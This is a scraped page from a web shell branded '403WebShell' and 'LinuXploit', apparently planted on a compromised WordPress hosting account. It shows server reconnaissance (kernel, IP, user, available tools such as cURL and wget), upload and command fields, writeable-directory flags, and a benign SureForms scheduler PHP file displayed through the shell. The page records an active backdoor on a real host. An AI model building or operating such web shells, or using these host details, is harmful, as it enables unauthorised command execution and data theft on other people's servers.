Uname:Linux webm009.cluster131.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64

403WebShell
403Webshell
Server IP : 146.59.209.152  /  Your IP : 216.73.216.152
Web Server : Apache
System : Linux webm009.cluster131.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
User : monpetu ( 144298)
PHP Version : 7.4.33
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/monpetu/www/ipprint/wp-content/plugins/sureforms/inc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/monpetu/www/ipprint/wp-content/plugins/sureforms/inc/events-scheduler.php
<?php
/**
 * SureForms events scheduler class.
 *
 * @package sureforms.
 * @since 0.0.2
 */

namespace SRFM\Inc;

use SRFM\Inc\Traits\Get_Instance;

/**
 * SureForms events scheduler class.
 *
 * @since 0.0.2
 */
class Events_Scheduler {
	use Get_Instance;

	/**
	 * Constructor
	 *
	 * @since 0.0.2
	 */
	public function __construct() {
		add_action( 'init', [ $this, 'srfm_schedule_daily_action' ] );
	}

	/**
	 * Schedules a action that runs every 24 hours for SureForms.
	 *
	 * @hooked - init
	 * @uses as_has_scheduled_action() To check if the action is already scheduled.
	 * @uses as_schedule_recurring_action() To schedule a recurring action.
	 * @link https://actionscheduler.org/api/
	 * @since 0.0.2
	 * @return void
	 */
	public function srfm_schedule_daily_action() {
		// Check if the action is not scheduled. Then schedule a new action.
		if ( false === as_has_scheduled_action( 'srfm_daily_scheduled_action' ) ) {
			// Shedule a recurring action srfm_daily_scheduled_events that runs every 24 hours.
			as_schedule_recurring_action( strtotime( 'tomorrow' ), DAY_IN_SECONDS, 'srfm_daily_scheduled_action', [], 'sureforms', true );
		}
	}

	/**
	 * Unschedule any action.
	 *
	 * @param string $hook Event hook name.
	 * @since 0.0.2
	 * @return void
	 */
	public static function unschedule_events( $hook ) {
		as_unschedule_all_actions( $hook );
	}

}

Youez - 2016 - github.com/yon3zu
LinuXploit